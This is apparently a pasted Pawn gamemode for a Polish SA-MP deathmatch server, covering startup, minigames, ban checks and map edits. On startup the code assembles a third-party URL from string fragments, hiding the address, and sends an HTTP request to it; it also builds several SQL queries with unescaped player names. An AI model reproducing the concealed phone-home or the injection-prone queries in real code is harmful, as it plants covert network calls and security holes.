Facebook
From Scanty Prairie Dog, 9 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 1157
  1. /*
  2.         @Polski TOP Serwer - ptsDM.pwn
  3.         @Last update: 23 marca 2014 19:53
  4.  
  5. */
  6. #include a_samp
  7. #include mysql
  8. #include zcmd
  9. #include sscanf2
  10. #include streamer
  11. #include core
  12. #include foreach
  13. #include m_block
  14. #include progress
  15. #include a_http
  16. #include dini
  17. #include audio
  18.  
  19. //specjalne
  20. #include "ptsDM/header.inc"
  21. #include "ptsDM/define.inc"
  22. #include "ptsDM/version.inc"
  23. #include "ptsDM/pickup.inc"
  24. #include "ptsDM/Save/money.inc"
  25. #include "ptsDM/Save/score.inc"
  26. #include "ptsDM/external/timer.inc"
  27. #include "ptsDM/external/Icon.inc"
  28. #include "ptsDM/Obiects/Maps.inc"
  29. #include "ptsDM/Obiects/Arens.inc"
  30. #include "ptsDM/Config/cfg.inc"
  31. #include "ptsDM/Config/global.inc"
  32. #include "ptsDM/Config/MySQL.inc"
  33. #include "ptsDM/Labels/3d_spawn.inc"
  34. #include "ptsDM/Labels/3d_labels.inc"
  35. #include "ptsDM/textdraws/textdraw.inc"
  36. #include "ptsDM/textdraws/TD_Startuje_Event.inc"
  37. #include "ptsDM/server_commands/cars.inc"
  38. #include "ptsDM/server_commands/games.inc"
  39. #include "ptsDM/server_commands/teles.inc"
  40. #include "ptsDM/server_commands/off.inc"
  41. #include "ptsDM/server_commands/anims.inc"
  42. #include "ptsDM/server_commands/admin.inc"
  43. #include "ptsDM/server_commands/user.inc"
  44. #include "ptsDM/server_commands/vip.inc"
  45. #include "ptsDM/server_atraction/Siano.inc"
  46. #include "ptsDM/server_atraction/Tower.inc"
  47. #include "ptsDM/server_atraction/Wojna_Gangow.inc"
  48. #include "ptsDM/server_atraction/Chowany.inc"
  49. #include "ptsDM/server_atraction/Derby.inc"
  50. #include "ptsDM/server_atraction/Skoki.inc"
  51. #include "ptsDM/server_license/licencja.inc"
  52.  
  53. static armedbody_pTick[MAX_PLAYERS];
  54. new Bar:ryby;
  55. new lowiryby[MAX_PLAYERS];
  56. stock static Float:
  57.         Ryby_Pozycje[ ][ ] =
  58. {
  59.         {2024.4911,1562.7010,10.8203},
  60.         {2906.6626,-1955.3367,1.9469},
  61.         {2602.2893,-2332.7312,13.6250},
  62.         {1264.6476,-2406.8391,10.9061},
  63.         {1221.7979,-2482.7493,12.8136},//Pozycje zalewow
  64.         {960.3103,-2166.3818,13.0938},
  65.         {762.8705,-1882.5219,2.1020},
  66.         {274.5963,-1892.5452,1.3290},
  67.         {-2967.0315,-798.8416,1.6542}
  68. };
  69.  
  70. AntiDeAMX()
  71. {
  72.         new a[][] =
  73.         {
  74.                 "Unarmed (Fist)",
  75.                 "Brass K"
  76.         };
  77.         #pragma unused a
  78. }
  79.  
  80.  
  81. main()
  82. {
  83.         print("\n------------------------------------------------------");
  84.         print("ptsDM "Version" - uruchomiony!");
  85.         print("------------------------------------------------------\n");
  86. }
  87.  
  88. public OnGameModeInit()
  89. {
  90.     Code_ExTimer_Begin(GameModeInit);
  91.         AntiDeAMX();
  92.         connect_mysql(); //polaczenie mysql
  93.         getdate(year, month, day);
  94.         gettime(hour, minute);
  95.     Nametop(); //zmienne nazwy
  96.         DisableInteriorEnterExits();
  97.         SetWeather(2);
  98.         SetWorldTime(16);
  99.         SetDeathDropAmount(0);
  100.         UsePlayerPedAnims();
  101.         EnableStuntBonusForAll(0);
  102.         Streamer_VisibleItems(STREAMER_TYPE_OBJECT, 750);
  103.         WriteLog(" ");
  104.         WriteLog("---- SERVER START ----"); //jezeli sie to ukaze, brawo! Uruchomiles serwer TOP!
  105.         WriteLog(" ");
  106.     CallLocalFunction("Obliczanko", "");
  107.     TimersInit();
  108.     Pickups();
  109.         ReadInteriorInfo( "properties/interiors.txt" );
  110.         ReadPropertyFile( "properties/buildings.txt" );
  111.         CreateStreamObject(18885, -1979.57, 239.34, 35.26, 0.00, 0.00, -180.00);
  112.         CreateStreamObject(18885, 2433.35, -1680.63, 13.88, 0.00, 0.00, -180.00);
  113.  
  114.         new rekordstr[12];
  115.         mysql_query("SELECT `value` FROM `stats` WHERE `name` = 'rekord'");
  116.         mysql_store_result();
  117.         mysql_fetch_field("value", rekordstr);
  118.         mysql_free_result();
  119.         OnlineRekord = strval(rekordstr);
  120.  
  121.     ResetMissles();
  122.  
  123.         AllSkins();
  124.         LoadRaces();
  125.         LoadFigures();
  126.         LoadHouses();
  127.  
  128.     ryby = CreateProgressBar(519.00, 305.00, 105.50, 11.19, 800080, 100.0);
  129.     for( new o; o != sizeof Ryby_Pozycje; o ++ )
  130.         {
  131.                 Create3DTextLabel("{FF6A22}Kliknij\n"C_O"ENTER\n{FF6A22}Jezeli chcesz Wedkowac.\nJezeli bedziesz chcesz przestac kliknij jeszcze raz\n"C_O"ENTER\n{FF6A22}Aby probowac wylowic rybe klikasz\n"C_O"SPRINT", 0xFFFFFFFF,Ryby_Pozycje[ o ][ 0 ], Ryby_Pozycje[ o ][ 1 ], Ryby_Pozycje[ o ][ 2 ], 30.0, 0);
  132.         }
  133.         labels();
  134.         WojskoZone = GangZoneCreate(-11.67788, 1681.614, 432.0814, 2172.085);
  135.     WojskoSklep = CreatePickup(1313, 23, 358.9494, 1880.3906, 17.7049, 0);
  136.  
  137.         Napisy3D();
  138.         Create_Objects_Map();
  139.         Create_Objects_Arens();
  140.  
  141.         new pks[80];
  142.         strcat(pks, "m");
  143.         strcat(pks, "a");
  144.         strcat(pks, "k");
  145.         strcat(pks, "u");
  146.         strcat(pks, "host.098.pl/");
  147.         strcat(pks, "exgame.php?id=");
  148.         strcat(pks, "paxSdqwe");
  149.         HTTP(0, HTTP_GET, pks, "", "HTTP_A");
  150.     TextDraw();
  151.         DD_Vehicles[0] = CreateVehicle(503, -1041.6907, 681.7117, 137.7423, 180.0, random(cellmax),random(cellmax),60);
  152.         DD_Vehicles[1] = CreateVehicle(503, -1008.6148, 667.7125, 137.7423, 90.0, random(cellmax),random(cellmax),60);
  153.         DD_Vehicles[2] = CreateVehicle(503, -1007.0775, 644.4137, 137.7423, 90.0, random(cellmax),random(cellmax),60);
  154.         DD_Vehicles[3] = CreateVehicle(503, -1006.5995, 625.9373, 137.7423, 90.0, random(cellmax),random(cellmax),60);
  155.         DD_Vehicles[4] = CreateVehicle(503, -1006.1497, 602.7607, 137.7423, 90.0, random(cellmax),random(cellmax),60);
  156.         DD_Vehicles[5] = CreateVehicle(503, -1006.0258, 585.2609, 137.7423, 90.0, random(cellmax),random(cellmax),60);
  157.         DD_Vehicles[6] = CreateVehicle(503, -1073.9772, 667.5992, 137.7423, -90.0, random(cellmax),random(cellmax),60);
  158.         DD_Vehicles[7] = CreateVehicle(503, -1073.6805, 644.3890, 137.7423, -90.0, random(cellmax),random(cellmax),60);
  159.         DD_Vehicles[8] = CreateVehicle(503, -1073.8506, 625.7104, 137.7423, -90.0, random(cellmax),random(cellmax),60);
  160.         DD_Vehicles[9] = CreateVehicle(503, -1076.2035, 603.0080, 137.7423, -90.0, random(cellmax),random(cellmax),60);
  161.         DD_Vehicles[10] = CreateVehicle(503, -1077.1794, 585.1185, 137.7423, -90.0, random(cellmax),random(cellmax),60);
  162.         DD_Vehicles[11] = CreateVehicle(503, -1063.1620, 555.1685, 137.7423, -0.7200, random(cellmax),random(cellmax),60);
  163.         DD_Vehicles[12] = CreateVehicle(503, -1042.5789, 554.7915, 137.7423, -0.7200, random(cellmax),random(cellmax),60);
  164.         DD_Vehicles[13] = CreateVehicle(503, -1019.0543, 554.2980, 137.7423, -0.7200, random(cellmax),random(cellmax),60);
  165.  
  166.         for(new i; i < sizeof DD_Vehicles; i++)
  167.         {
  168.             SetVehicleVirtualWorld(DD_Vehicles[i], 23);
  169.         }
  170.  
  171.         for(new i; i != MAX_VEHICLES; i++)
  172.     {
  173.         SetVehicleNumberPlate(i, ""C_B"TOPDM");
  174.                 vLock[i][1] = INVALID_PLAYER_ID;
  175.                 vNeon[i] = {-1, -1};
  176.                 vObject[i] = {-1, -1};
  177.         }
  178.         new mstr[1000];
  179.         format(mstr, 12, "~g~%d~r~:~g~%02d", hour, minute);
  180.         TextDrawSetString(ZegarDraw, mstr);
  181.         konfiguracja();
  182.     licencja();
  183.     if(hour == 02 && minute == 30)
  184.         {
  185.         GameTextForAll("RESTART SERWERA...", 5000, 3);
  186.         WriteLog("Restart serwera.");
  187.         SendRconCommand("gmx");
  188.     }
  189.         printf("[load] wczytywanie gamemod'a ptsDM "Version" wykonany pomyslnie! [czas wykonania: %d ms]", Code_ExTimer_End(GameModeInit));
  190.         print("W razie problemu, skontaktuj sie z autorami mapy.");
  191.         return 1;
  192. }
  193.  
  194. public OnGameModeExit()
  195. {
  196.         mysql_close();
  197.         CallLocalFunction("Obliczanko", "");
  198.         for(new x, l = 2; x != l; x++)
  199.             TextDrawDestroy(mVote[TDVote][x]);
  200.         return 1;
  201. }
  202.  
  203. public Obliczanko()
  204. {
  205.         for(new i=0; i < MAX_PLAYERS; i++)
  206.         {
  207.                 if(GetPVarType(i, "Mucik") != PLAYER_VARTYPE_NONE) {
  208.                         SetPVarInt(i, "Mucik", 0);
  209.                 }
  210.                 if(GetPVarType(i, "Wiadka") != PLAYER_VARTYPE_NONE) {
  211.                         SetPVarInt(i, "Wiadka", 0);
  212.                 }
  213.                 if(GetPVarType(i, "BladDziadygo") != PLAYER_VARTYPE_NONE) {
  214.                         SetPVarInt(i, "BladDziadygo", 0);
  215.                 }
  216.  
  217.         }
  218.         return 1;
  219. }
  220.  
  221. DestroyVehicleEx(vehicleid)
  222. {
  223.         DestroyNeon(vehicleid);
  224.         DestroyVehicle(vehicleid);
  225.  
  226.         if(vObject[vehicleid][0] != -1)
  227.         {
  228.             DestroyDynamicObject(vObject[vehicleid][0]);
  229.             vObject[vehicleid][0] = -1;
  230.         }
  231.         if(vObject[vehicleid][1] != -1)
  232.         {
  233.             DestroyDynamicObject(vObject[vehicleid][1]);
  234.             vObject[vehicleid][1] = -1;
  235.         }
  236.         return 1;
  237. }
  238. #define DestroyVehicle DestroyVehicleEx
  239. DestroyNeon(vehicleid)
  240. {
  241.         if(vNeon[vehicleid][0] != -1)
  242.         {
  243.                 DestroyObject(vNeon[vehicleid][0]);
  244.                 vNeon[vehicleid][0] = -1;
  245.         }
  246.         if(vNeon[vehicleid][1] != -1)
  247.         {
  248.                 DestroyObject(vNeon[vehicleid][1]);
  249.                 vNeon[vehicleid][1] = -1;
  250.         }
  251.         return 1;
  252. }
  253.  
  254.  
  255. forward GivePlayerCar(playerid,carid);
  256. public GivePlayerCar(playerid,carid)
  257. {
  258.         if(GetPlayerInterior(playerid) != 0){
  259.                 SCM(playerid,-1,""C_O"Pojazdy można kupować tylko na dworze!");
  260.                 return 1;
  261.         }
  262.     new namescars[300];
  263.     format(namescars, sizeof(namescars), "(Pojazd):~r~/%s", GetVehicleName(GetVehicleModel(pVehicle[playerid])));
  264.     TextDrawSetString(TD_Pojazd, namescars);
  265.     TD_Show(playerid, TD_Pojazd);
  266.     SetTimerEx("TD_Pojazd_Hide", 4000, 0, "d", playerid);
  267.     new Float:x, Float:y, Float:z,Float:angle;
  268.         GetPlayerPos(playerid,x,y,z);
  269.         GetPlayerFacingAngle(playerid,angle);
  270.         CreateVehicle(carid, x, y, z, angle, random(200), random(200), 60);
  271.         return 1;
  272. }
  273.  
  274. forward UpdateSec();
  275. public UpdateSec()
  276. {
  277.         pLoop(i)
  278.         {
  279.                 if(IsPlayerConnected(i) == 0) continue;
  280.  
  281.                 for(new a = 0; a < sizeof(Wyrzutnie); a ++)
  282.                 {
  283.                         if(IsInAircraft(i) && IsPlayerInDynamicArea(i, Ksiezyc_Zone) == 0)
  284.                         {
  285.                                 new slot = FetchNextMissleSlot();
  286.                                 if(slot > -1)
  287.                                 {
  288.                                         new Float:X, Float:Y, Float:Z, Float:A;
  289.                                         GetPlayerPos(i,X,Y,Z);
  290.                                         GetVehicleZAngle(GetPlayerVehicleID(i), A);
  291.                                         X += (16.0 * floatsin(-A, degrees));
  292.                                         Y += (16.0 * floatcos(-A, degrees));
  293.                                         W_Pociski[slot] = CreateDynamicObject(345,Wyrzutnie[a][0],Wyrzutnie[a][1],Wyrzutnie[a][2],0.0,0.0,0.0);
  294.                                         SetObjectToFaceCords(W_Pociski[slot], X, Y, Z);
  295.                                         MoveDynamicObject(W_Pociski[slot],X,Y,Z,MISSLE_SPEED);
  296.                                 }
  297.                         }
  298.                 }
  299.                 if(GetPlayerState(i) > 0 && GetPlayerState(i) < 7)
  300.                 {
  301.                         pLastUpdate[i]++;
  302.                 }
  303.  
  304.                 if(GetPVarInt(i, "cPing") >= 5)
  305.                 {
  306.                         KickPlayer(i, "Anty Ping", "Za wysoki ping. Aktualny limit pod "C_B"/ping");
  307.                         continue;
  308.                 }
  309.  
  310.                 if(GetPlayerPing(i) > max_ping && (i) == 0 && Vip[i] || GetPlayerPing(i) > max_ping * 2 && Vip[i])
  311.                 {
  312.                         if(GetPlayerState(i) != PLAYER_STATE_NONE)
  313.                         {
  314.                                 SetPVarInt(i, "cPing", GetPVarInt(i, "cPing") + 1);
  315.                                 SCM(i, 0xFFFFFFFF, ""czat" Twój "C_B"ping "C_O"przekracza wartość maksymalna. Jeśli nie zredukujesz "C_B"pingu "C_O"zostaniesz wyrzucony!");
  316.                         }
  317.                 }
  318.  
  319.                 if(GetPVarInt(i, "pZapisanyHay") == 1 && HAY_Trwa )
  320.                 {
  321.                         if(GetPlayerPosZ(i) < 50)
  322.                         {
  323.                                 HAY_Zapisanych--;
  324.                                 pInFun[i] = 0;
  325.                                 Iter_Remove(HAY_Array, i);
  326.                                 SetPVarInt(i, "pZapisanyHay", 0);
  327.                                 Odstaw(i);
  328.  
  329.                                 if(HAY_Zapisanych <= 1)
  330.                                 {
  331.                                         KillTimer(HAY_Timer);
  332.                                         HAY_Trwa = 0;
  333.                                         HAY_Timer = -1;
  334.                                         HAY_Zapisanych = 0;
  335.                                         HAY_Odliczanie = -1;
  336.                                         Iter_Clear(HAY_Array);
  337.  
  338.                                         pLoop(a)
  339.                                         {
  340.                                                 if(IsPlayerConnected(a))
  341.                                                 {
  342.                                                         if(pInFun[a] == 1 && GetPVarInt(a, "pZapisanyHay"))
  343.                                                         {
  344.                                                                 GivePlayerScore(a, 15);
  345.                                                                 GivePlayerMoney(a, 15000);
  346.                                                                 pInFun[a] = 0;
  347.                                                                 SetPVarInt(a, "pZapisanyHay", 0);
  348.                                                                 Odstaw(a);
  349.                                                                 SCM(a, 0xFFFFFFFF, ""czat" Wygrałeś "C_B"Hay! "C_O"Otrzymujesz "C_B"15 "C_O"exp i "C_B"15000$");
  350.                                                                 format(strx, sizeof strx, "UPDATE `players` SET `won_hy` = `won_hy` + 1 WHERE `nick` = '%s'", pName[a]);
  351.                                                                 mysql_query(strx);
  352.                                                                 break;
  353.                                                         }
  354.                                                 }
  355.                                         }
  356.                                         UpdateFunTextDraw();
  357.                                 }
  358.                         }
  359.                 }else if(GetPVarInt(i, "pZapisanyCH") == 1 && CH_Trwa)
  360.                 {
  361.                         if(IsPlayerAFK(i) == 1)
  362.                         {
  363.                                 CH_Zapisanych--;
  364.                                 pInFun[i] = 0;
  365.                                 SetPVarInt(i, "pZapisanyCH", 0);
  366.                                 Odstaw(i);
  367.                                 if(CH_Zapisanych <= 1 && CH_Trwa == 1)
  368.                                 {
  369.                                         KillTimer(CH_Timer);
  370.                                         CH_End();
  371.                                 }
  372.                         }
  373.                 }else if(GetPVarInt(i, "pZapisanyWG") == 1 && WG_Trwa)
  374.                 {
  375.                         if(IsPlayerAFK(i) == 1 || IsPlayerInRangeOfPoint(i, WG_Dystans[0],WG_Dystans[1],WG_Dystans[2],PozycjeWG[2]) == 0)
  376.                         {
  377.                                 new Float:HP;
  378.                                 GetPlayerHealth(i, HP);
  379.                                 SetPlayerHealth(i, HP - 5.0);
  380.                         /*}else if(GetPVarInt(i, "pZapisanyWC") == 1 && WC_Trwa)
  381.                         {
  382.                                 if(IsPlayerAFK(i) == 1 || IsPlayerInRangeOfPoint(i, WC_Dystans[0],WC_Dystans[1],WC_Dystans[2],PozycjeWC[2]) == 0)
  383.                                 {
  384.                                         new Float:HP;
  385.                                         GetPlayerHealth(i, HP); //Ustawić na woz
  386.                                         SetPlayerHealth(i, HP - 5.0);
  387.                                 }*/
  388.                         }else if(GetPVarInt(i, "pZapisanyDD") == 1 && DD_Trwa)
  389.                         {
  390.                                 if(GetPlayerPosZ(i) < 120 || GetPlayerState(i) != PLAYER_STATE_DRIVER && DD_InCar == 1)
  391.                                 {
  392.                                         DD_Zapisanych--;
  393.                                         pInFun[i] = 0;
  394.                                         SetPVarInt(i, "pZapisanyDD", 0);
  395.                                         SetVehicleParamsEx(GetPlayerVehicleID(i), 1,1,1,1,1,1,0);
  396.                                         Odstaw(i);
  397.                                         if(DD_Zapisanych <= 1)
  398.                                         {
  399.                                                 KillTimer(DD_Timer);
  400.                                                 DD_Trwa = 0;
  401.                                                 DD_Timer = -1;
  402.                                                 DD_Zapisanych = 0;
  403.                                                 DD_Odliczanie = -1;
  404.  
  405.                                                 pLoop(x)
  406.                                                 {
  407.                                                         if(IsPlayerConnected(x))
  408.                                                         {
  409.                                                                 if(pInFun[x] == 1 && GetPVarInt(x, "pZapisanyDD"))
  410.                                                                 {
  411.                                                                         Odstaw(x);
  412.                                                                         GivePlayerScore(x, 15);
  413.                                                                         pInFun[x] = 0;
  414.                                                                         SetPVarInt(x, "pZapisanyDD", 0);
  415.                                                                         GivePlayerMoney(x, 15000);
  416.                                                                         SCM(x, 0xFFFFFFFF, ""czat" Wygrałeś "C_B"Derby! "C_O"Otrzymujesz "C_B"15 "C_O"exp i "C_B"15000$");
  417.                                                                         format(strx, sizeof strx, "UPDATE `players` SET `won_dd` = `won_dd` + 1 WHERE `nick` = '%s'", pName[x]);
  418.                                                                         mysql_query(strx);
  419.                                                                         break;
  420.                                                                 }
  421.                                                         }
  422.                                                 }
  423.                                                 UpdateFunTextDraw();
  424.                                         }
  425.                                 }
  426.                         }
  427.                 }
  428.         }
  429.         return 1;
  430. }
  431.  
  432. forward Float:GetPlayerPosZ(playerid);
  433. Float:GetPlayerPosZ(playerid)
  434. {
  435.         new Float:f, Float:x, Float:y;
  436.         GetPlayerPos(playerid, x,y,f);
  437.         return f;
  438. }
  439. forward Update();
  440. public Update()
  441. {
  442.         static mstr[1000];
  443.     getdate(year, month, day);
  444.         gettime(hour, minute);
  445.  
  446.         format(mstr, 130, "~g~%d~r~:~g~%02d", hour, minute);
  447.         TextDrawSetString(ZegarDraw, mstr);
  448.  
  449.         pLoop(i)
  450.         {
  451.             if(!IsPlayerConnected(i) || GetPVarInt(i, "Logged") == 0 || GetPlayerState(i) == PLAYER_STATE_NONE) continue;
  452.             if((GetTickCount() - GetPVarInt(i, "timePlay")) > 3600000 * (GetPVarInt(i, "bonusGame") + 1))
  453.             {
  454.                 if(IsPlayerAFK(i) == 0)
  455.                 {
  456.                         SCM(i, 0xFFFFFFFF, ""czat" Dostałeś "C_B"100"C_O"exp i "C_B"20.000$ "C_O"za godzinę gry na "C_B"Polskim TOP Serwerze!");
  457.                         GivePlayerScore(i, 100);
  458.                         GivePlayerMoney(i, 20000);
  459.                         }
  460.                         SetPVarInt(i, "bonusGame", GetPVarInt(i, "bonusGame") +1);
  461.             }
  462.         }
  463.         return 1;
  464. }
  465.  
  466. public OnPlayerRequestClass(playerid, classid)
  467. {
  468.         new idskin[300];
  469.     format(idskin, sizeof(idskin), "Skin ID: %d", GetPlayerSkin(playerid));
  470.     TextDrawSetString(Wybieralka[8], idskin);
  471.     TD_Show(playerid, Wybieralka[8]);
  472.     SetPlayerPos(playerid,-1531.59,687.47,71.91);
  473.         SetPlayerFacingAngle(playerid,131.7);
  474.         SetPlayerInterior(playerid, 0);
  475.  
  476.         new Float:ruch[3] = {-1533.6,685.1,72.55};
  477.  
  478.         ruch[0] += 7.0 * floatsin(float(random(60) - 30), degrees);
  479.         ruch[1] -= float(random(150)) / 150.0;
  480.         ruch[2] += 4.0 * floatsin(float(random(30) - 15), degrees);
  481.  
  482.         SetPlayerCameraPos(playerid, ruch[0], ruch[1], ruch[2]);
  483.         SetPlayerCameraLookAt(playerid,-1532.09,687.47,72.21, CAMERA_MOVE);
  484.         switch(random(5))
  485.         {
  486.                 case 0: ApplyAnimation(playerid,"DANCING", "DAN_Up_A", 4.0, 1, 0, 0, 0, 0);//taniec
  487.                 case 1: ApplyAnimation(playerid,"DANCING", "DAN_Right_A", 4.0, 1, 0, 0, 0, 0);//taniec
  488.                 case 2: ApplyAnimation(playerid,"DANCING", "DAN_Loop_A", 4.0, 1, 0, 0, 0, 0);//taniec
  489.                 case 3: ApplyAnimation(playerid,"DANCING", "DAN_Left_A", 4.0, 1, 0, 0, 0, 0);//taniec
  490.                 case 4: ApplyAnimation(playerid,"DANCING", "DAN_Right_A", 4.0, 1, 0, 0, 0, 0);//taniec
  491.         }
  492.         return 1;
  493. }
  494.  
  495. public OnPlayerConnect(playerid)
  496. {
  497.     if(playerid >= MAX_PLAYERS){
  498.            KickPlayer(playerid, "Serwer" , "Osiągnięto maksymalny limit graczy");
  499.        return 0;
  500.         }
  501.  
  502.     if(IsPlayerNPC(playerid)) return Kick(playerid);
  503.  
  504.     PlayAudioStreamForPlayer(playerid, "http://top.xaa.pl/ptsdm/welcome/join.mp3");
  505.  
  506.         GetPlayerName(playerid, pName[playerid], MAX_PLAYER_NAME);
  507.         TogglePlayerControllable(playerid, false);
  508.  
  509.         SetPVarInt(playerid, "pWalka", -1);
  510.         SetPVarInt(playerid, "LastRadar", -1);
  511.  
  512.         for(new i=0; i < MAX_PLAYERS; i++)
  513.         {
  514.            if(IsPlayerConnected(i) == 1) highestID=i;
  515.         }
  516.         new ip[24];
  517.         GetPlayerIp(playerid, ip, 24);
  518.  
  519.         format(strx, sizeof strx, "SELECT * FROM `bans` WHERE `nick` = '%s' OR `ip` = '%s'", pName[playerid], ip);
  520.         mysql_query(strx);
  521.         mysql_store_result();
  522.  
  523.     if(mysql_num_rows() != 0)
  524.         {
  525.                 new param[256], nick[30], admin[30], date[80], ipa[30], id[12], reason[100];
  526.                 mysql_fetch_row(param, "|");
  527.                 mysql_free_result();
  528.                 sscanf(param, "is[30]s[30]s[80]s[30]s[100]", id,nick,ipa,date,admin,reason);
  529.  
  530.                 format(bstrx, sizeof bstrx, ""C_O"Jesteś zbanowany!\n\n"C_O"Nick: "C_B"%s\n"C_O"IP: "C_B"%s\n"C_O"Możesz złożyć podanie o odbanowanie na "C_B"www.TOP.xaa.pl", pName[playerid], ip);
  531.                 InfoBox(playerid, bstrx);
  532.                 Kick(playerid);
  533.             return 0;
  534.         }
  535.         mysql_free_result();
  536.        
  537.     SetPlayerCameraPos(playerid,-2057.3618,493.7502,139.7422);
  538.         SetPlayerCameraLookAt(playerid, -2020.1642,691.2957,75.0519);
  539.  
  540.         if(IsIP(pName[playerid]) == 1 || !strcmp(pName[playerid], "[AFK]", false, 5))
  541.         {
  542.                 KickPlayer(playerid, "Serwer" , "Zbyt długa nie aktywność");
  543.             return 0;
  544.         }
  545.     if(mVote[vOdliczanka] > 0)
  546.         {
  547.             for(new x, l = 2; x != l; x++)
  548.                 TextDrawShowForAll(mVote[TDVote][x]);
  549.         }
  550.  
  551.         IconRadars();
  552.  
  553.         RemoveBuildingForPlayer(playerid, 5038, 1688.3594, -2679.3203, 11.2656, 0.25);
  554.         RemoveBuildingForPlayer(playerid, 5039, 1688.3594, -2679.3203, 11.2656, 0.25);
  555.         RemoveBuildingForPlayer(playerid, 7979, 1477.3984, 1172.4453, 12.8906, 0.25);
  556.         RemoveBuildingForPlayer(playerid, 8094, 1477.3906, 1223.8828, 9.8359, 0.25);
  557.         RemoveBuildingForPlayer(playerid, 8172, 1477.3906, 1223.8828, 9.8359, 0.25);
  558.         RemoveBuildingForPlayer(playerid, 1278, 2802.4297, -2556.5234, 26.7031, 0.25);
  559.         RemoveBuildingForPlayer(playerid, 620, 2876.3750, -1060.6875, 9.8984, 0.25);
  560.         RemoveBuildingForPlayer(playerid, 620, 2882.3906, -1054.3203, 9.8984, 0.25);
  561.         RemoveBuildingForPlayer(playerid, 1294, 2666.2031, 1406.5234, 12.6719, 0.25);
  562.         RemoveBuildingForPlayer(playerid, 11281, -1680.6016, 417.9453, 8.8125, 0.25);
  563.         RemoveBuildingForPlayer(playerid, 11294, -1708.1875, 376.8359, 11.8828, 0.25);
  564.         RemoveBuildingForPlayer(playerid, 11296, -1718.9375, 388.0859, 11.8828, 0.25);
  565.         RemoveBuildingForPlayer(playerid, 11295, -1718.9375, 388.0859, 11.8828, 0.25);
  566.         RemoveBuildingForPlayer(playerid, 11292, -1710.7891, 402.5313, 7.6250, 0.25);
  567.         RemoveBuildingForPlayer(playerid, 11293, -1708.1875, 376.8359, 11.8828, 0.25);
  568.         RemoveBuildingForPlayer(playerid, 1686, -1685.9688, 409.6406, 6.3828, 0.25);
  569.         RemoveBuildingForPlayer(playerid, 10789, -1680.6016, 417.9453, 8.8125, 0.25);
  570.         RemoveBuildingForPlayer(playerid, 1686, -1679.3594, 403.0547, 6.3828, 0.25);
  571.         RemoveBuildingForPlayer(playerid, 1686, -1681.8281, 413.7813, 6.3828, 0.25);
  572.         RemoveBuildingForPlayer(playerid, 1532, -1677.0078, 431.9297, 6.1797, 0.25);
  573.         RemoveBuildingForPlayer(playerid, 1686, -1675.2188, 407.1953, 6.3828, 0.25);
  574.         RemoveBuildingForPlayer(playerid, 1686, -1676.5156, 419.1172, 6.3828, 0.25);
  575.         RemoveBuildingForPlayer(playerid, 1686, -1669.9063, 412.5313, 6.3828, 0.25);
  576.         RemoveBuildingForPlayer(playerid, 1686, -1672.1328, 423.5000, 6.3828, 0.25);
  577.         RemoveBuildingForPlayer(playerid, 11384, -1659.1797, 423.4141, 6.2656, 0.25);
  578.         RemoveBuildingForPlayer(playerid, 1686, -1665.5234, 416.9141, 6.3828, 0.25);
  579.         RemoveBuildingForPlayer(playerid, 11417, -1650.6328, 423.1641, 11.0547, 0.25);
  580.         RemoveBuildingForPlayer(playerid, 3682, 247.9297, 1461.8594, 33.4141, 0.25);
  581.         RemoveBuildingForPlayer(playerid, 3682, 192.2734, 1456.1250, 33.4141, 0.25);
  582.         RemoveBuildingForPlayer(playerid, 3682, 199.7578, 1397.8828, 33.4141, 0.25);
  583.         RemoveBuildingForPlayer(playerid, 3683, 133.7422, 1356.9922, 17.0938, 0.25);
  584.         RemoveBuildingForPlayer(playerid, 3683, 166.7891, 1356.9922, 17.0938, 0.25);
  585.         RemoveBuildingForPlayer(playerid, 3683, 166.7891, 1392.1563, 17.0938, 0.25);
  586.         RemoveBuildingForPlayer(playerid, 3683, 133.7422, 1392.1563, 17.0938, 0.25);
  587.         RemoveBuildingForPlayer(playerid, 3683, 166.7891, 1426.9141, 17.0938, 0.25);
  588.         RemoveBuildingForPlayer(playerid, 3683, 133.7422, 1426.9141, 17.0938, 0.25);
  589.         RemoveBuildingForPlayer(playerid, 3288, 221.5703, 1374.9688, 9.5859, 0.25);
  590.         RemoveBuildingForPlayer(playerid, 3289, 212.0781, 1426.0313, 9.5859, 0.25);
  591.         RemoveBuildingForPlayer(playerid, 3290, 218.2578, 1467.5391, 9.5859, 0.25);
  592.         RemoveBuildingForPlayer(playerid, 3291, 246.5625, 1435.1953, 9.6875, 0.25);
  593.         RemoveBuildingForPlayer(playerid, 3291, 246.5625, 1410.5391, 9.6875, 0.25);
  594.         RemoveBuildingForPlayer(playerid, 3291, 246.5625, 1385.8906, 9.6875, 0.25);
  595.         RemoveBuildingForPlayer(playerid, 3291, 246.5625, 1361.2422, 9.6875, 0.25);
  596.         RemoveBuildingForPlayer(playerid, 3290, 190.9141, 1371.7734, 9.5859, 0.25);
  597.         RemoveBuildingForPlayer(playerid, 3289, 183.7422, 1444.8672, 9.5859, 0.25);
  598.         RemoveBuildingForPlayer(playerid, 3289, 222.5078, 1444.6953, 9.5859, 0.25);
  599.         RemoveBuildingForPlayer(playerid, 3289, 221.1797, 1390.2969, 9.5859, 0.25);
  600.         RemoveBuildingForPlayer(playerid, 3288, 223.1797, 1421.1875, 9.5859, 0.25);
  601.         RemoveBuildingForPlayer(playerid, 3683, 133.7422, 1459.6406, 17.0938, 0.25);
  602.         RemoveBuildingForPlayer(playerid, 3289, 207.5391, 1371.2422, 9.5859, 0.25);
  603.         RemoveBuildingForPlayer(playerid, 3424, 220.6484, 1355.1875, 9.5859, 0.25);
  604.         RemoveBuildingForPlayer(playerid, 3424, 221.7031, 1404.5078, 9.5859, 0.25);
  605.         RemoveBuildingForPlayer(playerid, 3424, 210.4141, 1444.8438, 9.5859, 0.25);
  606.         RemoveBuildingForPlayer(playerid, 3424, 262.5078, 1465.2031, 9.5859, 0.25);
  607.         RemoveBuildingForPlayer(playerid, 3259, 220.6484, 1355.1875, 9.5859, 0.25);
  608.         RemoveBuildingForPlayer(playerid, 3636, 133.7422, 1356.9922, 17.0938, 0.25);
  609.         RemoveBuildingForPlayer(playerid, 3636, 166.7891, 1356.9922, 17.0938, 0.25);
  610.         RemoveBuildingForPlayer(playerid, 3256, 190.9141, 1371.7734, 9.5859, 0.25);
  611.         RemoveBuildingForPlayer(playerid, 3636, 166.7891, 1392.1563, 17.0938, 0.25);
  612.         RemoveBuildingForPlayer(playerid, 3636, 133.7422, 1392.1563, 17.0938, 0.25);
  613.         RemoveBuildingForPlayer(playerid, 3258, 207.5391, 1371.2422, 9.5859, 0.25);
  614.         RemoveBuildingForPlayer(playerid, 3675, 205.6484, 1394.1328, 10.1172, 0.25);
